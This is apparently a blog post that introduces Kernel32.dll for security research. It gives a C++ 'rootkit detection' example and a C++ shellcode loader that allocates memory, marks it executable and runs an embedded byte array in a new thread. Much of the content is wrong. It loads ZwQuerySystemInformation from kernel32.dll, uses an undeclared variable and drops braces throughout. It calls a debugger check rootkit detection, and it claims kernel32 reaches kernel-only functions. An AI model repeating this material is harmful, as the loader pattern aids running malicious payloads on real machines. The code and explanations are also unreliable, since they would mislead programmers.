Thursday, April 13, 2023

Kernel32.dll: Understanding Windows Kernel Functions - Rootkits and More!



Kernel32.dll is a system library file that contains various functions used by Windows programs. It serves as a bridge between software applications and the Windows operating system, providing the necessary programming interface for system-level services such as memory management, process creation, file handling, and device control. In simpler terms, you can think of Kernel32.dll as the "glue" that holds the Windows operating system together.

Here's a simple analogy to help understand how Kernel32.dll works: Imagine a library with many books that are stored in a particular order on a set of shelves. You can think of the books as programs, the shelves as the computer's memory, and the librarian as the operating system. The librarian, like Kernel32.dll, acts as an intermediary between the books (programs) and the shelves (memory) and helps manage the flow of information between them.



To use Kernel32.dll in your C++ program, you can call its functions directly from your code. These functions provide a convenient way to access system-level services without having to write low-level assembly code. For example, you can use the CreateProcess() function to launch a new process, or the VirtualAlloc() function to allocate memory for your program.

In the context of security research, Kernel32.dll can be used for a variety of purposes such as code injection, privilege escalation, and rootkit development.

One example of kernel32.dll has been used in security research is for detecting rootkits. A rootkit is a type of malware that is designed to hide its presence on a system by modifying the operating system's kernel. To detect rootkits, researchers can use kernel32.dll to access system-level functions that are not accessible to user-mode applications. These functions can be used to analyze the kernel memory and detect any anomalies that may indicate the presence of a rootkit.

Here's an example of how kernel32.dll can be used in C++ to detect rootkits:

kernel32.dll rootkit detect


#include <Windows.h>
#include <iostream>

// Define the ZwQuerySystemInformation function
typedef NTSTATUS(WINAPI* pfnZwQuerySystemInformation)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength

int main()
    // Load kernel32.dll and get the ZwQuerySystemInformation function
    HMODULE hKernel32 = LoadLibrary(TEXT("kernel32.dll"));
    pfnZwQuerySystemInformation ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hKernel32, "ZwQuerySystemInformation");

    // Define the buffer size for the system information
    ULONG bufferSize = 0;

    // Call ZwQuerySystemInformation with SystemKernelDebuggerInformation to get the buffer size
    ZwQuerySystemInformation(91, NULL, 0, &bufferSize);

    // Allocate memory for the system information buffer
    PVOID buffer = VirtualAlloc(NULL, bufferSize, MEM_COMMIT, PAGE_READWRITE);

    // Call ZwQuerySystemInformation with SystemKernelDebuggerInformation to get the system information
    ZwQuerySystemInformation(91, buffer, bufferSize, NULL);

    // Check if the kernel debugger is present
    if (kernelDebuggerInfo->KernelDebuggerEnabled)
        std::cout << "Kernel debugger detected!" << std::endl;
        std::cout << "Kernel debugger not detected." << std::endl;

    // Free the system information buffer
    VirtualFree(buffer, 0, MEM_RELEASE);

    // Unload kernel32.dll

    return 0;

In this example, the ZwQuerySystemInformation function is used to retrieve information about the system kernel, specifically the presence of a kernel debugger. The code loads the kernel32.dll library, gets the address of the ZwQuerySystemInformation function, and calls it with the SystemKernelDebuggerInformation parameter. If the kernel debugger is enabled, the code prints a message to the console.

Another example of using kernel32.dll in security research is for creating shellcode. Shellcode is a small piece of code that is used to exploit vulnerabilities and execute arbitrary commands on a system. Kernel32.dll contains many functions that can be used for this purpose, such as VirtualAlloc, VirtualProtect, and CreateThread.

Here's an example of how kernel32.dll can be used in C++ to execute shellcode:

 kernel32 shellcode

#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <stdlib.h>

// This shellcode launches calc.exe
unsigned char shellcode[] = {
    0x31, 0xc0, 0x31, 0xdb, 0x31, 0xd2, 0x50, 0x68, 0x63, 0x61, 0x6c, 0x63,
    0x54, 0x59, 0x52, 0x51, 0x64, 0x8b, 0x72, 0x30, 0x8b, 0x76, 0x0c, 0x8b,
    0x76, 0x1c, 0x8b, 0x46, 0x08, 0x8b, 0x7e, 0x20, 0x8b, 0x36, 0x38, 0x4f,
    0x18, 0x75, 0xf3, 0x89, 0x7c, 0x24, 0x24, 0x61, 0xff, 0xe0

int _tmain(int argc, _TCHAR* argv[])
    DWORD dwOldProtect;
    void * pMem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pMem == NULL) {
        printf("VirtualAlloc failed\n");
        return 1;

    memcpy(pMem, shellcode, sizeof(shellcode));

    if (!VirtualProtect(pMem, sizeof(shellcode), PAGE_EXECUTE_READ, &dwOldProtect)) {
        printf("VirtualProtect failed\n");
        return 1;

    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMem, NULL, 0, NULL);
    if (hThread == NULL) {
        printf("CreateThread failed\n");
        return 1;

    WaitForSingleObject(hThread, INFINITE);

    VirtualFree(pMem, 0, MEM_RELEASE);
    return 0;


This code allocates memory, copies the shellcode into it, sets the memory page to be executable, creates a thread to execute the shellcode, and then waits for the thread to finish. The shellcode itself simply launches the Windows Calculator application.


Overall, kernel32.dll is a powerful tool for security researchers and vulnerability hunters. It provides a wide range of functionality for interacting with the Windows operating system, and has been used in many successful exploits and security tools. Whether you're exploring Windows internals or looking for ways to harden your own applications, understanding how kernel32.dll works is an essential skill for any security-minded programmer.

 So, have you ever used kernel32.dll in your own security research or exploits? What other Windows DLLs have you found particularly useful? Let us know in the comments! And, as always, happy hacking!

No comments:

Post a Comment

A Guide to Multi-Level Pointer Analysis

  A Comprehensive Guide to Multi-Level Pointer Analysis   A regular pointer points to only one address, but when it's accompanied by a l...